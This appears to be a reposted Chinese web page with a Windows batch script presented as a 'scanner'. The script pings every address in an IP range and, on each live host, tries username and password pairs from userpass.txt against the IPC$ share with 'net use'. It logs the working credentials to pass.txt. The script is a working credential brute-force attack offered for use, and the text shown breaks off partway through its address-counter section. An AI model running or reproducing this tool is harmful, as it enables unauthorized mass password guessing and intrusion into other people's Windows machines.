一个批处理的扫描程序

来源:互联网 发布:苹果打电话录音软件 编辑:程序博客网 时间:2024/05/07 02:10

@echo off
set ip1=%1
set ip2=%2
set ip3=%3
set ip4=%4
if "%1"=="" set ip1=0
if "%2"=="" set ip2=0
if "%3"=="" set ip3=0
if "%4"=="" set ip4=0
if "%5"=="" set ip5=255.255.255.255
if not "%5"=="" set ip5=%5
cls
echo 本程序正确格式如下:
echo,
echo test.bat [起始IP] [结束IP]
echo,
echo 起始IP说明:起始IP必须将将IP的圆点用空格替代
echo,
echo 例: IP 10.0.0.1作为起始IP必须写为 10 0 0 1
echo,
echo 只有起始IP无结束IP时称西将测试 [起始IP]--255.255.255.255内的所有IP
echo,
echo 如果不带任何IP本程序的范围为:0.0.0.0--255.255.255.255
echo,
echo 你的测试范围是:%ip1%.%ip2%.%ip3%.%ip4%--%ip5%
echo,
echo 结束程序请按CTRL+C,开始测试请按任意键......
PAUSE
echo 本次测试从%date% %time% 开始----------->>pass.txt
GOTO START
:if4
if "%ip4%"=="255" goto if3
if "%ip4%"=="254" set ip4=255
if "%ip4%"=="253" set ip4=254
if "%ip4%"=="252" set ip4=253
if "%ip4%"=="251" set ip4=252
if "%ip4%"=="250" set ip4=251
if "%ip4%"=="249" set ip4=250
if "%ip4%"=="248" set ip4=249
if "%ip4%"=="247" set ip4=248
if "%ip4%"=="246" set ip4=247
if "%ip4%"=="245" set ip4=246
if "%ip4%"=="244" set ip4=245
if "%ip4%"=="243" set ip4=244
if "%ip4%"=="242" set ip4=243
if "%ip4%"=="241" set ip4=242
if "%ip4%"=="240" set ip4=241
if "%ip4%"=="239" set ip4=240
if "%ip4%"=="238" set ip4=239
if "%ip4%"=="237" set ip4=238
if "%ip4%"=="236" set ip4=237
if "%ip4%"=="235" set ip4=236
if "%ip4%"=="234" set ip4=235
if "%ip4%"=="233" set ip4=234
if "%ip4%"=="232" set ip4=233
if "%ip4%"=="231" set ip4=232
if "%ip4%"=="230" set ip4=231
if "%ip4%"=="229" set ip4=230
if "%ip4%"=="228" set ip4=229
if "%ip4%"=="227" set ip4=228
if "%ip4%"=="226" set ip4=227
if "%ip4%"=="225" set ip4=226
if "%ip4%"=="224" set ip4=225
if "%ip4%"=="223" set ip4=224
if "%ip4%"=="222" set ip4=223
if "%ip4%"=="221" set ip4=222
if "%ip4%"=="220" set ip4=221
if "%ip4%"=="219" set ip4=220
if "%ip4%"=="218" set ip4=219
if "%ip4%"=="217" set ip4=218
if "%ip4%"=="216" set ip4=217
if "%ip4%"=="215" set ip4=216
if "%ip4%"=="214" set ip4=215
if "%ip4%"=="213" set ip4=214
if "%ip4%"=="212" set ip4=213
if "%ip4%"=="211" set ip4=212
if "%ip4%"=="210" set ip4=211
if "%ip4%"=="209" set ip4=210
if "%ip4%"=="208" set ip4=209
if "%ip4%"=="207" set ip4=208
if "%ip4%"=="206" set ip4=207
if "%ip4%"=="205" set ip4=206
if "%ip4%"=="204" set ip4=205
if "%ip4%"=="203" set ip4=204
if "%ip4%"=="202" set ip4=203
if "%ip4%"=="201" set ip4=202
if "%ip4%"=="200" set ip4=201
if "%ip4%"=="199" set ip4=200
if "%ip4%"=="198" set ip4=199
if "%ip4%"=="197" set ip4=198
if "%ip4%"=="196" set ip4=197
if "%ip4%"=="195" set ip4=196
if "%ip4%"=="194" set ip4=195
if "%ip4%"=="193" set ip4=194
if "%ip4%"=="192" set ip4=193
if "%ip4%"=="191" set ip4=192
if "%ip4%"=="190" set ip4=191
if "%ip4%"=="189" set ip4=190
if "%ip4%"=="188" set ip4=189
if "%ip4%"=="187" set ip4=188
if "%ip4%"=="186" set ip4=187
if "%ip4%"=="185" set ip4=186
if "%ip4%"=="184" set ip4=185
if "%ip4%"=="183" set ip4=184
if "%ip4%"=="182" set ip4=183
if "%ip4%"=="181" set ip4=182
if "%ip4%"=="180" set ip4=181
if "%ip4%"=="179" set ip4=180
if "%ip4%"=="178" set ip4=179
if "%ip4%"=="177" set ip4=178
if "%ip4%"=="176" set ip4=177
if "%ip4%"=="175" set ip4=176
if "%ip4%"=="174" set ip4=175
if "%ip4%"=="173" set ip4=174
if "%ip4%"=="172" set ip4=173
if "%ip4%"=="171" set ip4=172
if "%ip4%"=="170" set ip4=171
if "%ip4%"=="169" set ip4=170
if "%ip4%"=="168" set ip4=169
if "%ip4%"=="167" set ip4=168
if "%ip4%"=="166" set ip4=167
if "%ip4%"=="165" set ip4=166
if "%ip4%"=="164" set ip4=165
if "%ip4%"=="163" set ip4=164
if "%ip4%"=="162" set ip4=163
if "%ip4%"=="161" set ip4=162
if "%ip4%"=="160" set ip4=161
if "%ip4%"=="159" set ip4=160
if "%ip4%"=="158" set ip4=159
if "%ip4%"=="157" set ip4=158
if "%ip4%"=="156" set ip4=157
if "%ip4%"=="155" set ip4=156
if "%ip4%"=="154" set ip4=155
if "%ip4%"=="153" set ip4=154
if "%ip4%"=="152" set ip4=153
if "%ip4%"=="151" set ip4=152
if "%ip4%"=="150" set ip4=151
if "%ip4%"=="149" set ip4=150
if "%ip4%"=="148" set ip4=149
if "%ip4%"=="147" set ip4=148
if "%ip4%"=="146" set ip4=147
if "%ip4%"=="145" set ip4=146
if "%ip4%"=="144" set ip4=145
if "%ip4%"=="143" set ip4=144
if "%ip4%"=="142" set ip4=143
if "%ip4%"=="141" set ip4=142
if "%ip4%"=="140" set ip4=141
if "%ip4%"=="139" set ip4=140
if "%ip4%"=="138" set ip4=139
if "%ip4%"=="137" set ip4=138
if "%ip4%"=="136" set ip4=137
if "%ip4%"=="135" set ip4=136
if "%ip4%"=="134" set ip4=135
if "%ip4%"=="133" set ip4=134
if "%ip4%"=="132" set ip4=133
if "%ip4%"=="131" set ip4=132
if "%ip4%"=="130" set ip4=131
if "%ip4%"=="129" set ip4=130
if "%ip4%"=="128" set ip4=129
if "%ip4%"=="127" set ip4=128
if "%ip4%"=="126" set ip4=127
if "%ip4%"=="125" set ip4=126
if "%ip4%"=="124" set ip4=125
if "%ip4%"=="123" set ip4=124
if "%ip4%"=="122" set ip4=123
if "%ip4%"=="121" set ip4=122
if "%ip4%"=="120" set ip4=121
if "%ip4%"=="119" set ip4=120
if "%ip4%"=="118" set ip4=119
if "%ip4%"=="117" set ip4=118
if "%ip4%"=="116" set ip4=117
if "%ip4%"=="115" set ip4=116
if "%ip4%"=="114" set ip4=115
if "%ip4%"=="113" set ip4=114
if "%ip4%"=="112" set ip4=113
if "%ip4%"=="111" set ip4=112
if "%ip4%"=="110" set ip4=111
if "%ip4%"=="109" set ip4=110
if "%ip4%"=="108" set ip4=109
if "%ip4%"=="107" set ip4=108
if "%ip4%"=="106" set ip4=107
if "%ip4%"=="105" set ip4=106
if "%ip4%"=="104" set ip4=105
if "%ip4%"=="103" set ip4=104
if "%ip4%"=="102" set ip4=103
if "%ip4%"=="101" set ip4=102
if "%ip4%"=="100" set ip4=101
if "%ip4%"=="99" set ip4=100
if "%ip4%"=="98" set ip4=99
if "%ip4%"=="97" set ip4=98
if "%ip4%"=="96" set ip4=97
if "%ip4%"=="95" set ip4=96
if "%ip4%"=="94" set ip4=95
if "%ip4%"=="93" set ip4=94
if "%ip4%"=="92" set ip4=93
if "%ip4%"=="91" set ip4=92
if "%ip4%"=="90" set ip4=91
if "%ip4%"=="89" set ip4=90
if "%ip4%"=="88" set ip4=89
if "%ip4%"=="87" set ip4=88
if "%ip4%"=="86" set ip4=87
if "%ip4%"=="85" set ip4=86
if "%ip4%"=="84" set ip4=85
if "%ip4%"=="83" set ip4=84
if "%ip4%"=="82" set ip4=83
if "%ip4%"=="81" set ip4=82
if "%ip4%"=="80" set ip4=81
if "%ip4%"=="79" set ip4=80
if "%ip4%"=="78" set ip4=79
if "%ip4%"=="77" set ip4=78
if "%ip4%"=="76" set ip4=77
if "%ip4%"=="75" set ip4=76
if "%ip4%"=="74" set ip4=75
if "%ip4%"=="73" set ip4=74
if "%ip4%"=="72" set ip4=73
if "%ip4%"=="71" set ip4=72
if "%ip4%"=="70" set ip4=71
if "%ip4%"=="69" set ip4=70
if "%ip4%"=="68" set ip4=69
if "%ip4%"=="67" set ip4=68
if "%ip4%"=="66" set ip4=67
if "%ip4%"=="65" set ip4=66
if "%ip4%"=="64" set ip4=65
if "%ip4%"=="63" set ip4=64
if "%ip4%"=="62" set ip4=63
if "%ip4%"=="61" set ip4=62
if "%ip4%"=="60" set ip4=61
if "%ip4%"=="59" set ip4=60
if "%ip4%"=="58" set ip4=59
if "%ip4%"=="57" set ip4=58
if "%ip4%"=="56" set ip4=57
if "%ip4%"=="55" set ip4=56
if "%ip4%"=="54" set ip4=55
if "%ip4%"=="53" set ip4=54
if "%ip4%"=="52" set ip4=53
if "%ip4%"=="51" set ip4=52
if "%ip4%"=="50" set ip4=51
if "%ip4%"=="49" set ip4=50
if "%ip4%"=="48" set ip4=49
if "%ip4%"=="47" set ip4=48
if "%ip4%"=="46" set ip4=47
if "%ip4%"=="45" set ip4=46
if "%ip4%"=="44" set ip4=45
if "%ip4%"=="43" set ip4=44
if "%ip4%"=="42" set ip4=43
if "%ip4%"=="41" set ip4=42
if "%ip4%"=="40" set ip4=41
if "%ip4%"=="39" set ip4=40
if "%ip4%"=="38" set ip4=39
if "%ip4%"=="37" set ip4=38
if "%ip4%"=="36" set ip4=37
if "%ip4%"=="35" set ip4=36
if "%ip4%"=="34" set ip4=35
if "%ip4%"=="33" set ip4=34
if "%ip4%"=="32" set ip4=33
if "%ip4%"=="31" set ip4=32
if "%ip4%"=="30" set ip4=31
if "%ip4%"=="29" set ip4=30
if "%ip4%"=="28" set ip4=29
if "%ip4%"=="27" set ip4=28
if "%ip4%"=="26" set ip4=27
if "%ip4%"=="25" set ip4=26
if "%ip4%"=="24" set ip4=25
if "%ip4%"=="23" set ip4=24
if "%ip4%"=="22" set ip4=23
if "%ip4%"=="21" set ip4=22
if "%ip4%"=="20" set ip4=21
if "%ip4%"=="19" set ip4=20
if "%ip4%"=="18" set ip4=19
if "%ip4%"=="17" set ip4=18
if "%ip4%"=="16" set ip4=17
if "%ip4%"=="15" set ip4=16
if "%ip4%"=="14" set ip4=15
if "%ip4%"=="13" set ip4=14
if "%ip4%"=="12" set ip4=13
if "%ip4%"=="11" set ip4=12
if "%ip4%"=="10" set ip4=11
if "%ip4%"=="9" set ip4=10
if "%ip4%"=="8" set ip4=9
if "%ip4%"=="7" set ip4=8
if "%ip4%"=="6" set ip4=7
if "%ip4%"=="5" set ip4=6
if "%ip4%"=="4" set ip4=5
if "%ip4%"=="3" set ip4=4
if "%ip4%"=="2" set ip4=3
if "%ip4%"=="1" set ip4=2
if "%ip4%"=="0" set ip4=1
:start
ECHO 目标%ip1%.%ip2%.%ip3%.%ip4%不存在或者对方有防火墙......
if "%ip1%.%ip2%.%ip3%.%ip4%"=="%ip5%" goto ok
ping %ip1%.%ip2%.%ip3%.%ip4% -n 1|find "Received = 1"
if errorlevel 1 goto if4
CLS
echo 正在测试%ip1%.%ip2%.%ip3%.%ip4%
for /f "tokens=1,2*" %%i in (userpass.txt) do net use //%ip1%.%ip2%.%

ip3%.%ip4%/ipc$ %%i /u:%%j && echo 目标ip:%ip1%.%ip2%.%ip3%.%ip4% 用户名

:%%j 密码:%%i >>pass.txt
net use //%ip1%.%ip2%.%ip3%.%ip4%/ipc$ /delete
goto if4

:if3
if "%ip3%"=="255" goto if2
if "%ip3%"=="254" set ip3=255
if "%ip3%"=="253" set ip3=254
if "%ip3%"=="252" set ip3=253
if "%ip3%"=="251" set ip3=252
if "%ip3%"=="250" set ip3=251
if "%ip3%"=="249" set ip3=250
if "%ip3%"=="248" set ip3=249
if "%ip3%"=="247" set ip3=248
if "%ip3%"=="246" set ip3=247
if "%ip3%"=="245" set ip3=246
if "%ip3%"=="244" set ip3=245
if "%ip3%"=="243" set ip3=244
if "%ip3%"=="242" set ip3=243
if "%ip3%"=="241" set ip3=242
if "%ip3%"=="240" set ip3=241
if "%ip3%"=="239" set ip3=240
if "%ip3%"=="238" set ip3=239
if "%ip3%"=="237" set ip3=238
if "%ip3%"=="236" set ip3=237
if "%ip3%"=="235" set ip3=236
if "%ip3%"=="234" set ip3=235
if "%ip3%"=="233" set ip3=234
if "%ip3%"=="232" set ip3=233
if "%ip3%"=="231" set ip3=232
if "%ip3%"=="230" set ip3=231
if "%ip3%"=="229" set ip3=230
if "%ip3%"=="228" set ip3=229
if "%ip3%"=="227" set ip3=228
if "%ip3%"=="226" set ip3=227
if "%ip3%"=="225" set ip3=226
if "%ip3%"=="224" set ip3=225
if "%ip3%"=="223" set ip3=224
if "%ip3%"=="222" set ip3=223
if "%ip3%"=="221" set ip3=222
if "%ip3%"=="220" set ip3=221
if "%ip3%"=="219" set ip3=220
if "%ip3%"=="218" set ip3=219
if "%ip3%"=="217" set ip3=218
if "%ip3%"=="216" set ip3=217
if "%ip3%"=="215" set ip3=216
if "%ip3%"=="214" set ip3=215
if "%ip3%"=="213" set ip3=214
if "%ip3%"=="212" set ip3=213
if "%ip3%"=="211" set ip3=212
if "%ip3%"=="210" set ip3=211
if "%ip3%"=="209" set ip3=210
if "%ip3%"=="208" set ip3=209
if "%ip3%"=="207" set ip3=208
if "%ip3%"=="206" set ip3=207
if "%ip3%"=="205" set ip3=206
if "%ip3%"=="204" set ip3=205
if "%ip3%"=="203" set ip3=204
if "%ip3%"=="202" set ip3=203
if "%ip3%"=="201" set ip3=202
if "%ip3%"=="200" set ip3=201
if "%ip3%"=="199" set ip3=200
if "%ip3%"=="198" set ip3=199
if "%ip3%"=="197" set ip3=198
if "%ip3%"=="196" set ip3=197
if "%ip3%"=="195" set ip3=196
if "%ip3%"=="194" set ip3=195
if "%ip3%"=="193" set ip3=194
if "%ip3%"=="192" set ip3=193
if "%ip3%"=="191" set ip3=192
if "%ip3%"=="190" set ip3=191
if "%ip3%"=="189" set ip3=190
if "%ip3%"=="188" set ip3=189
if "%ip3%"=="187" set ip3=188
if "%ip3%"=="186" set ip3=187
if "%ip3%"=="185" set ip3=186
if "%ip3%"=="184" set ip3=185
if "%ip3%"=="183" set ip3=184
if "%ip3%"=="182" set ip3=183
if "%ip3%"=="181" set ip3=182
if "%ip3%"=="180" set ip3=181
if "%ip3%"=="179" set ip3=180
if "%ip3%"=="178" set ip3=179
if "%ip3%"=="177" set ip3=178
if "%ip3%"=="176" set ip3=177
if "%ip3%"=="175" set ip3=176
if "%ip3%"=="174" set ip3=175
if "%ip3%"=="173" set ip3=174
if "%ip3%"=="172" set ip3=173
if "%ip3%"=="171" set ip3=172
if "%ip3%"=="170" set ip3=171
if "%ip3%"=="169" set ip3=170
if "%ip3%"=="168" set ip3=169
if "%ip3%"=="167" set ip3=168
if "%ip3%"=="166" set ip3=167
if "%ip3%"=="165" set ip3=166
if "%ip3%"=="164" set ip3=165
if "%ip3%"=="163" set ip3=164
if "%ip3%"=="162" set ip3=163
if "%ip3%"=="161" set ip3=162
if "%ip3%"=="160" set ip3=161
if "%ip3%"=="159" set ip3=160
if "%ip3%"=="158" set ip3=159
if "%ip3%"=="157" set ip3=158
if "%ip3%"=="156" set ip3=157
if "%ip3%"=="155" set ip3=156
if "%ip3%"=="154" set ip3=155
if "%ip3%"=="153" set ip3=154
if "%ip3%"=="152" set ip3=153
if "%ip3%"=="151" set ip3=152
if "%ip3%"=="150" set ip3=151
if "%ip3%"=="149" set ip3=150
if "%ip3%"=="148" set ip3=149
if "%ip3%"=="147" set ip3=148
if "%ip3%"=="146" set ip3=147
if "%ip3%"=="145" set ip3=146
if "%ip3%"=="144" set ip3=145
if "%ip3%"=="143" set ip3=144
if "%ip3%"=="142" set ip3=143
if "%ip3%"=="141" set ip3=142
if "%ip3%"=="140" set ip3=141
if "%ip3%"=="139" set ip3=140
if "%ip3%"=="138" set ip3=139
if "%ip3%"=="137" set ip3=138
if "%ip3%"=="136" set ip3=137
if "%ip3%"=="135" set ip3=136
if "%ip3%"=="134" set ip3=135
if "%ip3%"=="133" set ip3=134
if "%ip3%"=="132" set ip3=133
if "%ip3%"=="131" set ip3=132
if "%ip3%"=="130" set ip3=131
if "%ip3%"=="129" set ip3=130
if "%ip3%"=="128" set ip3=129
if "%ip3%"=="127" set ip3=128
if "%ip3%"=="126" set ip3=127
if "%ip3%"=="125" set ip3=126
if "%ip3%"=="124" set ip3=125
if "%ip3%"=="123" set ip3=124
if "%ip3%"=="122" set ip3=123
if "%ip3%"=="121" set ip3=122
if "%ip3%"=="120" set ip3=121
if "%ip3%"=="119" set ip3=120
if "%ip3%"=="118" set ip3=119
if "%ip3%"=="117" set ip3=118
if "%ip3%"=="116" set ip3=117
if "%ip3%"=="115" set ip3=116
if "%ip3%"=="114" set ip3=115
if "%ip3%"=="113" set ip3=114
if "%ip3%"=="112" set ip3=113
if "%ip3%"=="111" set ip3=112
if "%ip3%"=="110" set ip3=111
if "%ip3%"=="109" set ip3=110
if "%ip3%"=="108" set ip3=109
if "%ip3%"=="107" set ip3=108
if "%ip3%"=="106" set ip3=107
if "%ip3%"=="105" set ip3=106
if "%ip3%"=="104" set ip3=105
if "%ip3%"=="103" set ip3=104
if "%ip3%"=="102" set ip3=103
if "%ip3%"=="101" set ip3=102
if "%ip3%"=="100" set ip3=101
if "%ip3%"=="99" set ip3=100
if "%ip3%"=="98" set ip3=99
if "%ip3%"=="97" set ip3=98
if "%ip3%"=="96" set ip3=97
if "%ip3%"=="95" set ip3=96
if "%ip3%"=="94" set ip3=95
if "%ip3%"=="93" set ip3=94
if "%ip3%"=="92" set ip3=93
if "%ip3%"=="91" set ip3=92
if "%ip3%"=="90" set ip3=91
if "%ip3%"=="89" set ip3=90
if "%ip3%"=="88" set ip3=89
if "%ip3%"=="87" set ip3=88
if "%ip3%"=="86" set ip3=87
if "%ip3%"=="85" set ip3=86
if "%ip3%"=="84" set ip3=85
if "%ip3%"=="83" set ip3=84
if "%ip3%"=="82" set ip3=83
if "%ip3%"=="81" set ip3=82
if "%ip3%"=="80" set ip3=81
if "%ip3%"=="79" set ip3=80
if "%ip3%"=="78" set ip3=79
if "%ip3%"=="77" set ip3=78
if "%ip3%"=="76" set ip3=77
if "%ip3%"=="75" set ip3=76
if "%ip3%"=="74" set ip3=75
if "%ip3%"=="73" set ip3=74
if "%ip3%"=="72" set ip3=73
if "%ip3%"=="71" set ip3=72
if "%ip3%"=="70" set ip3=71
if "%ip3%"=="69" set ip3=70
if "%ip3%"=="68" set ip3=69
if "%ip3%"=="67" set ip3=68
if "%ip3%"=="66" set ip3=67
if "%ip3%"=="65" set ip3=66
if "%ip3%"=="64" set ip3=65
if "%ip3%"=="63" set ip3=64
if "%ip3%"=="62" set ip3=63
if "%ip3%"=="61" set ip3=62
if "%ip3%"=="60" set ip3=61
if "%ip3%"=="59" set ip3=60
if "%ip3%"=="58" set ip3=59
if "%ip3%"=="57" set ip3=58
if "%ip3%"=="56" set ip3=57
if "%ip3%"=="55" set ip3=56
if "%ip3%"=="54" set ip3=55
if "%ip3%"=="53" set ip3=54
if "%ip3%"=="52" set ip3=53
if "%ip3%"=="51" set ip3=52
if "%ip3%"=="50" set ip3=51
if "%ip3%"=="49" set ip3=50
if "%ip3%"=="48" set ip3=49
if "%ip3%"=="47" set ip3=48
if "%ip3%"=="46" set ip3=47
if "%ip3%"=="45" set ip3=46
if "%ip3%"=="44" set ip3=45
if "%ip3%"=="43" set ip3=44
if "%ip3%"=="42" set ip3=43
if "%ip3%"=="41" set ip3=42
if "%ip3%"=="40" set ip3=41
if "%ip3%"=="39" set ip3=40
if "%ip3%"=="38" set ip3=39
if "%ip3%"=="37" set ip3=38
if "%ip3%"=="36" set ip3=37
if "%ip3%"=="35" set ip3=36
if "%ip3%"=="34" set ip3=35
if "%ip3%"=="33" set ip3=34
if "%ip3%"=="32" set ip3=33
if "%ip3%"=="31" set ip3=32
if "%ip3%"=="30" set ip3=31
if "%ip3%"=="29" set ip3=30
if "%ip3%"=="28" set ip3=29
if "%ip3%"=="27" set ip3=28
if "%ip3%"=="26" set ip3=27
if "%ip3%"=="25" set ip3=26
if "%ip3%"=="24" set ip3=25
if "%ip3%"=="23" set ip3=24
if "%ip3%"=="22" set ip3=23
if "%ip3%"=="21" set ip3=22
if "%ip3%"=="20" set ip3=21
if "%ip3%"=="19" set ip3=20
if "%ip3%"=="18" set ip3=19
if "%ip3%"=="17" set ip3=18
if "%ip3%"=="16" set ip3=17
if "%ip3%"=="15" set ip3=16
if "%ip3%"=="14" set ip3=15
if "%ip3%"=="13" set ip3=14
if "%ip3%"=="12" set ip3=13
if "%ip3%"=="11" set ip3=12
if "%ip3%"=="10" set ip3=11
if "%ip3%"=="9" set ip3=10
if "%ip3%"=="8" set ip3=9
if "%ip3%"=="7" set ip3=8
if "%ip3%"=="6" set ip3=7
if "%ip3%"=="5" set ip3=6
if "%ip3%"=="4" set ip3=5
if "%ip3%"=="3" set ip3=4
if "%ip3%"=="2" set ip3=3
if "%ip3%"=="1" set ip3=2
if "%ip3%"=="0" set ip3=1
set ip4=0
goto start

:if2
if "%ip2%"=="255" goto if1
if "%ip2%"=="254" set ip2=255
if "%ip2%"=="253" set ip2=254
if "%ip2%"=="252" set ip2=253
if "%ip2%"=="251" set ip2=252
if "%ip2%"=="250" set ip2=251
if "%ip2%"=="249" set ip2=250
if "%ip2%"=="248" set ip2=249
if "%ip2%"=="247" set ip2=248
if "%ip2%"=="246" set ip2=247
if "%ip2%"=="245" set ip2=246
if "%ip2%"=="244" set ip2=245
if "%ip2%"=="243" set ip2=244
if "%ip2%"=="242" set ip2=243
if "%ip2%"=="241" set ip2=242
if "%ip2%"=="240" set ip2=241
if "%ip2%"=="239" set ip2=240
if "%ip2%"=="238" set ip2=239
if "%ip2%"=="237" set ip2=238
if "%ip2%"=="236" set ip2=237
if "%ip2%"=="235" set ip2=236
if "%ip2%"=="234" set ip2=235
if "%ip2%"=="233" set ip2=234
if "%ip2%"=="232" set ip2=233
if "%ip2%"=="231" set ip2=232
if "%ip2%"=="230" set ip2=231
if "%ip2%"=="229" set ip2=230
if "%ip2%"=="228" set ip2=229
if "%ip2%"=="227" set ip2=228
if "%ip2%"=="226" set ip2=227
if "%ip2%"=="225" set ip2=226
if "%ip2%"=="224" set ip2=225
if "%ip2%"=="223" set ip2=224
if "%ip2%"=="222" set ip2=223
if "%ip2%"=="221" set ip2=222
if "%ip2%"=="220" set ip2=221
if "%ip2%"=="219" set ip2=220
if "%ip2%"=="218" set ip2=219
if "%ip2%"=="217" set ip2=218
if "%ip2%"=="216" set ip2=217
if "%ip2%"=="215" set ip2=216
if "%ip2%"=="214" set ip2=215
if "%ip2%"=="213" set ip2=214
if "%ip2%"=="212" set ip2=213
if "%ip2%"=="211" set ip2=212
if "%ip2%"=="210" set ip2=211
if "%ip2%"=="209" set ip2=210
if "%ip2%"=="208" set ip2=209
if "%ip2%"=="207" set ip2=208
if "%ip2%"=="206" set ip2=207
if "%ip2%"=="205" set ip2=206
if "%ip2%"=="204" set ip2=205
if "%ip2%"=="203" set ip2=204
if "%ip2%"=="202" set ip2=203
if "%ip2%"=="201" set ip2=202
if "%ip2%"=="200" set ip2=201
if "%ip2%"=="199" set ip2=200
if "%ip2%"=="198" set ip2=199
if "%ip2%"=="197" set ip2=198
if "%ip2%"=="196" set ip2=197
if "%ip2%"=="195" set ip2=196
if "%ip2%"=="194" set ip2=195
if "%ip2%"=="193" set ip2=194
if "%ip2%"=="192" set ip2=193
if "%ip2%"=="191" set ip2=192
if "%ip2%"=="190" set ip2=191
if "%ip2%"=="189" set ip2=190
if "%ip2%"=="188" set ip2=189
if "%ip2%"=="187" set ip2=188
if "%ip2%"=="186" set ip2=187
if "%ip2%"=="185" set ip2=186
if "%ip2%"=="184" set ip2=185
if "%ip2%"=="183" set ip2=184
if "%ip2%"=="182" set ip2=183
if "%ip2%"=="181" set ip2=182
if "%ip2%"=="180" set ip2=181
if "%ip2%"=="179" set ip2=180
if "%ip2%"=="178" set ip2=179
if "%ip2%"=="177" set ip2=178
if "%ip2%"=="176" set ip2=177
if "%ip2%"=="175" set ip2=176
if "%ip2%"=="174" set ip2=175
if "%ip2%"=="173" set ip2=174
if "%ip2%"=="172" set ip2=173
if "%ip2%"=="171" set ip2=172
if "%ip2%"=="170" set ip2=171
if "%ip2%"=="169" set ip2=170
if "%ip2%"=="168" set ip2=169
if "%ip2%"=="167" set ip2=168
if "%ip2%"=="166" set ip2=167
if "%ip2%"=="165" set ip2=166
if "%ip2%"=="164" set ip2=165
if "%ip2%"=="163" set ip2=164
if "%ip2%"=="162" set ip2=163
if "%ip2%"=="161" set ip2=162
if "%ip2%"=="160" set ip2=161
if "%ip2%"=="159" set ip2=160
if "%ip2%"=="158" set ip2=159
if "%ip2%"=="157" set ip2=158
if "%ip2%"=="156" set ip2=157
if "%ip2%"=="155" set ip2=156
if "%ip2%"=="154" set ip2=155
if "%ip2%"=="153" set ip2=154
if "%ip2%"=="152" set ip2=153
if "%ip2%"=="151" set ip2=152
if "%ip2%"=="150" set ip2=151
if "%ip2%"=="149" set ip2=150
if "%ip2%"=="148" set ip2=149
if "%ip2%"=="147" set ip2=148
if "%ip2%"=="146" set ip2=147
if "%ip2%"=="145" set ip2=146
if "%ip2%"=="144" set ip2=145
if "%ip2%"=="143" set ip2=144
if "%ip2%"=="142" set ip2=143
if "%ip2%"=="141" set ip2=142
if "%ip2%"=="140" set ip2=141
if "%ip2%"=="139" set ip2=140
if "%ip2%"=="138" set ip2=139
if "%ip2%"=="137" set ip2=138
if "%ip2%"=="136" set ip2=137
if "%ip2%"=="135" set ip2=136
if "%ip2%"=="134" set ip2=135
if "%ip2%"=="133" set ip2=134
if "%ip2%"=="132" set ip2=133
if "%ip2%"=="131" set ip2=132
if "%ip2%"=="130" set ip2=131
if "%ip2%"=="129" set ip2=130
if "%ip2%"=="128" set ip2=129
if "%ip2%"=="127" set ip2=128
if "%ip2%"=="126" set ip2=127
if "%ip2%"=="125" set ip2=126
if "%ip2%"=="124" set ip2=125
if "%ip2%"=="123" set ip2=124
if "%ip2%"=="122" set ip2=123
if "%ip2%"=="121" set ip2=122
if "%ip2%"=="120" set ip2=121
if "%ip2%"=="119" set ip2=120
if "%ip2%"=="118" set ip2=119
if "%ip2%"=="117" set ip2=118
if "%ip2%"=="116" set ip2=117
if "%ip2%"=="115" set ip2=116
if "%ip2%"=="114" set ip2=115
if "%ip2%"=="113" set ip2=114
if "%ip2%"=="112" set ip2=113
if "%ip2%"=="111" set ip2=112
if "%ip2%"=="110" set ip2=111
if "%ip2%"=="109" set ip2=110
if "%ip2%"=="108" set ip2=109
if "%ip2%"=="107" set ip2=108
if "%ip2%"=="106" set ip2=107
if "%ip2%"=="105" set ip2=106
if "%ip2%"=="104" set ip2=105
if "%ip2%"=="103" set ip2=104
if "%ip2%"=="102" set ip2=103
if "%ip2%"=="101" set ip2=102
if "%ip2%"=="100" set ip2=101
if "%ip2%"=="99" set ip2=100
if "%ip2%"=="98" set ip2=99
if "%ip2%"=="97" set ip2=98
if "%ip2%"=="96" set ip2=97
if "%ip2%"=="95" set ip2=96
if "%ip2%"=="94" set ip2=95
if "%ip2%"=="93" set ip2=94
if "%ip2%"=="92" set ip2=93
if "%ip2%"=="91" set ip2=92
if "%ip2%"=="90" set ip2=91
if "%ip2%"=="89" set ip2=90
if "%ip2%"=="88" set ip2=89
if "%ip2%"=="87" set ip2=88
if "%ip2%"=="86" set ip2=87
if "%ip2%"=="85" set ip2=86
if "%ip2%"=="84" set ip2=85
if "%ip2%"=="83" set ip2=84
if "%ip2%"=="82" set ip2=83
if "%ip2%"=="81" set ip2=82
if "%ip2%"=="80" set ip2=81
if "%ip2%"=="79" set ip2=80
if "%ip2%"=="78" set ip2=79
if "%ip2%"=="77" set ip2=78
if "%ip2%"=="76" set ip2=77
if "%ip2%"=="75" set ip2=76
if "%ip2%"=="74" set ip2=75
if "%ip2%"=="73" set ip2=74
if "%ip2%"=="72" set ip2=73
if "%ip2%"=="71" set ip2=72
if "%ip2%"=="70" set ip2=71
if "%ip2%"=="69" set ip2=70
if "%ip2%"=="68" set ip2=69
if "%ip2%"=="67" set ip2=68
if "%ip2%"=="66" set ip2=67
if "%ip2%"=="65" set ip2=66
if "%ip2%"=="64" set ip2=65
if "%ip2%"=="63" set ip2=64
if "%ip2%"=="62" set ip2=63
if "%ip2%"=="61" set ip2=62
if "%ip2%"=="60" set ip2=61
if "%ip2%"=="59" set ip2=60
if "%ip2%"=="58" set ip2=59
if "%ip2%"=="57" set ip2=58
if "%ip2%"=="56" set ip2=57
if "%ip2%"=="55" set ip2=56
if "%ip2%"=="54" set ip2=55
if "%ip2%"=="53" set ip2=54
if "%ip2%"=="52" set ip2=53
if "%ip2%"=="51" set ip2=52
if "%ip2%"=="50" set ip2=51
if "%ip2%"=="49" set ip2=50
if "%ip2%"=="48" set ip2=49
if "%ip2%"=="47" set ip2=48
if "%ip2%"=="46" set ip2=47
if "%ip2%"=="45" set ip2=46
if "%ip2%"=="44" set ip2=45
if "%ip2%"=="43" set ip2=44
if "%ip2%"=="42" set ip2=43
if "%ip2%"=="41" set ip2=42
if "%ip2%"=="40" set ip2=41
if "%ip2%"=="39" set ip2=40
if "%ip2%"=="38" set ip2=39
if "%ip2%"=="37" set ip2=38
if "%ip2%"=="36" set ip2=37
if "%ip2%"=="35" set ip2=36
if "%ip2%"=="34" set ip2=35
if "%ip2%"=="33" set ip2=34
if "%ip2%"=="32" set ip2=33
if "%ip2%"=="31" set ip2=32
if "%ip2%"=="30" set ip2=31
if "%ip2%"=="29" set ip2=30
if "%ip2%"=="28" set ip2=29
if "%ip2%"=="27" set ip2=28
if "%ip2%"=="26" set ip2=27
if "%ip2%"=="25" set ip2=26
if "%ip2%"=="24" set ip2=25
